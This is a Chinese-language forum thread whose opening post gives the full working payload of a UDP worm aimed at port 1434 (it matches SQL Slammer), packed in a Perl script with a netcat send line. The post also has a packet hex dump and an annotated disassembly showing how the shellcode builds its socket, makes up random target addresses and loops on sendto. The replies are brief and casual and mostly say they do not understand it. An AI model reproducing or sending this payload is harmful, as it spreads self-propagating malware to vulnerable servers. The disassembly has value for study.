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作者: a101450948 [a101450948] 论坛用户 | 登录 |
本帖由 [日月双星] 从 << 菜鸟乐园>> 转移而来病毒源代码如下: #!/usr/bin/perl ############### my $packet = "\x04\x01\x01\x01\x01\x01\x01\x01". "\x01\x01\x01\x01\x01\x01\x01\x01". "\x01\x01\x01\x01\x01\x01\x01\x01". "\x01\x01\x01\x01\x01\x01\x01\x01". "\x01\x01\x01\x01\x01\x01\x01\x01". "\x01\x01\x01\x01\x01\x01\x01\x01". "\x01\x01\x01\x01\x01\x01\x01\x01". "\x01\x01\x01\x01\x01\x01\x01\x01". "\x01\x01\x01\x01\x01\x01\x01\x01". "\x01\x01\x01\x01\x01\x01\x01\x01". "\x01\x01\x01\x01\x01\x01\x01\x01". "\x01\x01\x01\x01\x01\x01\x01\x01". "\x01\xdc\xc9\xb0\x42\xeb\x0e\x01". "\x01\x01\x01\x01\x01\x01\x70\xae". "\x42\x01\x70\xae\x42\x90\x90\x90". "\x90\x90\x90\x90\x90\x68\xdc\xc9". "\xb0\x42\xb8\x01\x01\x01\x01\x31". "\xc9\xb1\x18\x50\xe2\xfd\x35\x01". "\x01\x01\x05\x50\x89\xe5\x51\x68". "\x2e\x64\x6c\x6c\x68\x65\x6c\x33". "\x32\x68\x6b\x65\x72\x6e\x51\x68". "\x6f\x75\x6e\x74\x68\x69\x63\x6b". "\x43\x68\x47\x65\x74\x54\x66\xb9". "\x6c\x6c\x51\x68\x33\x32\x2e\x64". "\x68\x77\x73\x32\x5f\x66\xb9\x65". "\x74\x51\x68\x73\x6f\x63\x6b\x66". "\xb9\x74\x6f\x51\x68\x73\x65\x6e". "\x64\xbe\x18\x10\xae\x42\x8d\x45". "\xd4\x50\xff\x16\x50\x8d\x45\xe0". "\x50\x8d\x45\xf0\x50\xff\x16\x50". "\xbe\x10\x10\xae\x42\x8b\x1e\x8b". "\x03\x3d\x55\x8b\xec\x51\x74\x05". "\xbe\x1c\x10\xae\x42\xff\x16\xff". "\xd0\x31\xc9\x51\x51\x50\x81\xf1". "\x03\x01\x04\x9b\x81\xf1\x01\x01". "\x01\x01\x51\x8d\x45\xcc\x50\x8b". "\x45\xc0\x50\xff\x16\x6a\x11\x6a". "\x02\x6a\x02\xff\xd0\x50\x8d\x45". "\xc4\x50\x8b\x45\xc0\x50\xff\x16". "\x89\xc6\x09\xdb\x81\xf3\x3c\x61". "\xd9\xff\x8b\x45\xb4\x8d\x0c\x40". "\x8d\x14\x88\xc1\xe2\x04\x01\xc2". "\xc1\xe2\x08\x29\xc2\x8d\x04\x90". "\x01\xd8\x89\x45\xb4\x6a\x10\x8d". "\x45\xb0\x50\x31\xc9\x51\x66\x81". "\xf1\x78\x01\x51\x8d\x45\x03\x50". "\x8b\x45\xac\x50\xff\xd6\xeb\xca"; print $packet; # for testing in CLOSED network environments: # perl worm.pl | nc server 1434 -u -v -v -v data的部分内容: 0000 d4c3b2a1 02000400 00000000 00000000 悦病............ 0010 88130000 01000000 0d40323e ff7b0200 .........@2>�{.. 0020 a2010000 a2010000 00e08121 e1660005 ?..?...?!�f.. 0030 dd79e870 08004500 01943127 00007411 �y�p..E...1'..t. 0040 53ce9320 8178d1a6 da240fb0 059a0180 S? .x薛?.?... 0050 65370401 01010101 01010101 01010101 e7.............. 0060 01010101 01010101 01010101 01010101 ................ 0070 01010101 01010101 01010101 01010101 ................ 0080 01010101 01010101 01010101 01010101 ................ 0090 01010101 01010101 01010101 01010101 ................ 00a0 01010101 01010101 01010101 01010101 ................ 00b0 010101dc c9b042eb 0e010101 01010101 ...苌�B?....... 00c0 70ae4201 70ae4290 90909090 90909068 p�B.p�B........h 00d0 dcc9b042 b8010101 0131c9b1 1850e2fd 苌�B?...1杀.P恺 00e0 35010101 055089e5 51682e64 6c6c6865 5....P.�Qh.dllhe 00f0 6c333268 6b65726e 51686f75 6e746869 l32hkernQhounthi 0100 636b4368 47657454 66b96c6c 51683332 ckChGetTf�llQh32 0110 2e646877 73325f66 b9657451 68736f63 .dhws2_f�etQhsoc 0120 6b66b974 6f516873 656e64be 1810ae42 kf�toQhsend?.�B 0130 8d45d450 ff16508d 45e0508d 45f050ff .E�P�.P.E�P.E�P� 0140 1650be10 10ae428b 1e8b033d 558bec51 .P?.�B....=U.�Q 0150 7405be1c 10ae42ff 16ffd031 c9515150 t.?.�B�.�?�QQP 0160 81f10301 049b81f1 01010101 518d45cc .?....?...Q.E? 0170 508b45c0 50ff166a 116a026a 02ffd050 P.E�P�.j.j.j.��P 0180 8d45c450 8b45c050 ff1689c6 09db81f3 .E�P.E�P�..??? 0190 3c61d9ff 8b45b48d 0c408d14 88c1e204 01a0 01c2c1e2 0829c28d 049001d8 8945b46a .铝?)?...?E�j 01b0 108d45b0 5031c951 6681f178 01518d45 ..E�P1�Qf.�x.Q.E 01c0 03508b45 ac50ffd6 ebca .P.E�P�蛛? Disassembly of section .data: 00000000 <.data>: 0: d4 c3 aam$0xffffffc3 2: b2 a1 mov$0xa1,%dl 4: 02 00 add(%eax),%al 6: 04 00 add$0x0,%al 8: 00 00 add%al,(%eax) a: 00 00 add%al,(%eax) c: 00 00 add%al,(%eax) e: 00 00 add%al,(%eax) 10: 88 13 mov%dl,(%ebx) 12: 00 00 add%al,(%eax) 14: 01 00 add%eax,(%eax) 16: 00 00 add%al,(%eax) 18: 0d 40 32 3e ff or $0xff3e3240,%eax 1d: 7b 02 jnp0x21 1f: 00 a2 01 00 00 a2 add%ah,0xa2000001(%edx) 25: 01 00 add%eax,(%eax) 27: 00 00 add%al,(%eax) 29: e0 81 loopne 0xffffffac 2b: 21 e1 and%esp,%ecx 2d: 66 data16 2e: 00 05 dd 79 e8 70 add%al,0x70e879dd 34: 08 00 or %al,(%eax) 36: 45 inc%ebp 37: 00 01 add%al,(%ecx) 39: 94 xchg %eax,%esp 3a: 31 27 xor%esp,(%edi) 3c: 00 00 add%al,(%eax) 3e: 74 11 je 0x51 40: 53 push %ebx 41: ce into 42: 93 xchg %eax,%ebx 43: 20 81 78 d1 a6 da and%al,0xdaa6d178(%ecx) 49: 24 0f and$0xf,%al 4b: b0 05 mov$0x5,%al 4d: 9a 01 80 65 37 04 01 lcall $0x104,$0x37658001 54: 01 01 add%eax,(%ecx) 56: 01 01 add%eax,(%ecx) 58: 01 01 add%eax,(%ecx) 5a: 01 01 add%eax,(%ecx) 5c: 01 01 add%eax,(%ecx) 5e: 01 01 add%eax,(%ecx) 60: 01 01 add%eax,(%ecx) 62: 01 01 add%eax,(%ecx) 64: 01 01 add%eax,(%ecx) 66: 01 01 add%eax,(%ecx) 68: 01 01 add%eax,(%ecx) 6a: 01 01 add%eax,(%ecx) 6c: 01 01 add%eax,(%ecx) 6e: 01 01 add%eax,(%ecx) 70: 01 01 add%eax,(%ecx) 72: 01 01 add%eax,(%ecx) 74: 01 01 add%eax,(%ecx) 76: 01 01 add%eax,(%ecx) 78: 01 01 add%eax,(%ecx) 7a: 01 01 add%eax,(%ecx) 7c: 01 01 add%eax,(%ecx) 7e: 01 01 add%eax,(%ecx) 80: 01 01 add%eax,(%ecx) 82: 01 01 add%eax,(%ecx) 84: 01 01 add%eax,(%ecx) 86: 01 01 add%eax,(%ecx) 88: 01 01 add%eax,(%ecx) 8a: 01 01 add%eax,(%ecx) 8c: 01 01 add%eax,(%ecx) 8e: 01 01 add%eax,(%ecx) 90: 01 01 add%eax,(%ecx) 92: 01 01 add%eax,(%ecx) 94: 01 01 add%eax,(%ecx) 96: 01 01 add%eax,(%ecx) 98: 01 01 add%eax,(%ecx) 9a: 01 01 add%eax,(%ecx) 9c: 01 01 add%eax,(%ecx) 9e: 01 01 add%eax,(%ecx) a0: 01 01 add%eax,(%ecx) a2: 01 01 add%eax,(%ecx) a4: 01 01 add%eax,(%ecx) a6: 01 01 add%eax,(%ecx) a8: 01 01 add%eax,(%ecx) aa: 01 01 add%eax,(%ecx) ac: 01 01 add%eax,(%ecx) ae: 01 01 add%eax,(%ecx) b0: 01 01 add%eax,(%ecx) b2: 01 dc add%ebx,%esp b4: c9 leave b5: b0 42 mov$0x42,%al b7: eb 0e jmp0xc7 b9: 01 01 add%eax,(%ecx) bb: 01 01 add%eax,(%ecx) bd: 01 01 add%eax,(%ecx) bf: 01 70 ae add%esi,0xffffffae(%eax) c2: 42 inc%edx c3: 01 70 ae add%esi,0xffffffae(%eax) c6: 42 inc%edx c7: 90 nop c8: 90 nop c9: 90 nop ca: 90 nop cb: 90 nop cc: 90 nop cd: 90 nop --- start here ce: 90 nop cf: 68 dc c9 b0 42 push $0x42b0c9dc d4: b8 01 01 01 01 mov$0x1010101,%eax d9: 31 c9 xor%ecx,%ecx db: b1 18 mov$0x18,%cl dd: 50 push %eax de: e2 fd loop 0xdd e1: 35 01 01 01 05 xor$0x5010101,%eax e5: 50 push %eax e6: 89 e5 mov%esp,%ebp e8: 51 push %ecx 在堆栈上面增加了一个极小的字符。 起先,这些代码看起来很像这些: sendto00 cb socket00 d3 ws2_32.d db ll00GetT e3 ickCount eb 0000kern f3 el32.dll fb 00000004 ^ ebp e9: 68 2e 64 6c 6c push $0x6c6c642e ee: 68 65 6c 33 32 push $0x32336c65 f3: 68 6b 65 72 6e push $0x6e72656b f8: 51 push %ecx f9: 68 6f 75 6e 74 push $0x746e756f fe: 68 69 63 6b 43 push $0x436b6369 103: 68 47 65 74 54 push $0x54746547 108: 66 b9 6c 6c mov$0x6c6c,%cx 10c: 51 push %ecx 10d: 68 33 32 2e 64 push $0x642e3233 112: 68 77 73 32 5f push $0x5f327377 117: 66 b9 65 74 mov$0x7465,%cx 11b: 51 push %ecx 11c: 68 73 6f 63 6b push $0x6b636f73 121: 66 b9 74 6f mov$0x6f74,%cx 125: 51 push %ecx 126: 68 73 65 6e 64 push $0x646e6573 12b: be 18 10 ae 42 mov$0x42ae1018,%esi # find sendto in ws2_32.dll 130: 8d 45 d4 lea0xffffffd4(%ebp),%eax## ws2_32.dll:sendto 133: 50 push %eax 134: ff 16 call *(%esi) 136: 50 push %eax # SND2 # find GetTickCount 137: 8d 45 e0 lea0xffffffe0(%ebp),%eax## GetTickCount 13a: 50 push %eax 13b: 8d 45 f0 lea0xfffffff0(%ebp),%eax## kernel32.dll 13e: 50 push %eax 13f: ff 16 call *(%esi) 141: 50 push %eax # GETT # GetProcAddr 显然是在不同的区域 # 两个都进行尝试 142: be 10 10 ae 42 mov$0x42ae1010,%esi # 尝试1 147: 8b 1e mov(%esi),%ebx 149: 8b 03 mov(%ebx),%eax 14b: 3d 55 8b ec 51 cmp$0x51ec8b55,%eax 150: 74 05 je 0x157 152: be 1c 10 ae 42 mov$0x42ae101c,%esi # 尝试2 157: ff 16 call *(%esi) 159: ff d0 call *%eax # 调用GetTickCount 15b: 31 c9 xor%ecx,%ecx 15d: 51 push %ecx # 15e: 51 push %ecx # 15f: 50 push %eax # # 0 ^ 0x9b040103 ^ 0x01010101 = 0x9a050002; this goes in # little-endian; 0x59a is 1434, our port and 0002 is the family # (AF_INET) 160: 81 f1 03 01 04 9b xor$0x9b040103,%ecx 166: 81 f1 01 01 01 01 xor$0x1010101,%ecx 16c: 51 push %ecx 16d: 8d 45 cc lea0xffffffcc(%ebp),%eax # socket 170: 50 push %eax 171: 8b 45 c0 mov0xffffffc0(%ebp),%eax # handle; SND2 174: 50 push %eax 175: ff 16 call *(%esi) 177: 6a 11 push $0x11 # 协议 17 - udp 179: 6a 02 push $0x2 # 17b: 6a 02 push $0x2 # AF_INET 17d: ff d0 call *%eax # 调用socket 17f: 50 push %eax 180: 8d 45 c4 lea0xffffffc4(%ebp),%eax 183: 50 push %eax 184: 8b 45 c0 mov0xffffffc0(%ebp),%eax 187: 50 push %eax 188: ff 16 call *(%esi) # 它准备在这一点上调用sendto # 它并没有将它的功能利用到极限,因此此蠕虫的作者还是手下留情了。 # 在迫使它返回到0xffffffb4(%ebp)之前,它仅仅是围绕一个地址来进行攻击。 # 这种破坏也是确保了它能够在调用GetTickCount之外进行循环。 # 再循环一次,就可以得到另外一个地址。 # 随机调用很可能是在下面这段代码上: 18a: 89 c6 mov%eax,%esi # move sendto addr 18c: 09 db or %ebx,%ebx # for mangling 18e: 81 f3 3c 61 d9 ff xor$0xffd9613c,%ebx # 循环的开始 194: 8b 45 b4 mov0xffffffb4(%ebp),%eax # mov addr to eax 197: 8d 0c 40 lea(%eax,%eax,2),%ecx # mangle the address. 19a: 8d 14 88 lea(%eax,%ecx,4),%edx 19d: c1 e2 04 shl$0x4,%edx 1a0: 01 c2 add%eax,%edx 1a2: c1 e2 08 shl$0x8,%edx 1a5: 29 c2 sub%eax,%edx 1a7: 8d 04 90 lea(%eax,%edx,4),%eax 1aa: 01 d8 add%ebx,%eax # okay done mangling 1ac: 89 45 b4 mov%eax,0xffffffb4(%ebp) 1af: 6a 10 push $0x10 # length of the sockaddr 1b1: 8d 45 b0 lea0xffffffb0(%ebp),%eax # b0 is where sockaddr starts 1b4: 50 push %eax # push sockaddr 1b5: 31 c9 xor%ecx,%ecx 1b7: 51 push %ecx # flags - none 1b8: 66 81 f1 78 01 xor$0x178,%cx # 376 bytes; the length 1bd: 51 push %ecx 1be: 8d 45 03 lea0x3(%ebp),%eax # get the beginning of the buffer 1c1: 50 push %eax # push addr 1c2: 8b 45 ac mov0xffffffac(%ebp),%eax # get socket handle 1c5: 50 push %eax # 1c6: ff d6 call *%esi # call sendto 1c8: eb ca jmp0x194 # jump back and do this again |
地主 发表时间: 04-08-19 14:00 |
回复: NickJ [jiangxiao] 论坛用户 | 登录 |
哈哈哈 病毒 还会说中文呀 厉害厉害..... |
B1层 发表时间: 04-08-22 11:30 |
回复: lijingxi [lijingxi] 见习版主 | 登录 |
TO B2 没有看到前面#号么! 那表示注释!还病毒说中文!昏了! |
B2层 发表时间: 04-08-22 18:06 |
回复: syhg [syhg] 论坛用户 | 登录 |
看不懂! |
B3层 发表时间: 04-08-22 18:18 |
回复: legioncmdr [legioncmdr] 论坛用户 | 登录 |
什么语言编的 |
B4层 发表时间: 04-08-25 19:35 |
回复: lgf [lgf] 论坛用户 | 登录 |
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B5层 发表时间: 04-08-26 11:45 |
回复: wq7777777 [wq7777777] 论坛用户 | 登录 |
哇噻,好高深也看不懂呀 |
B6层 发表时间: 04-08-27 16:42 |
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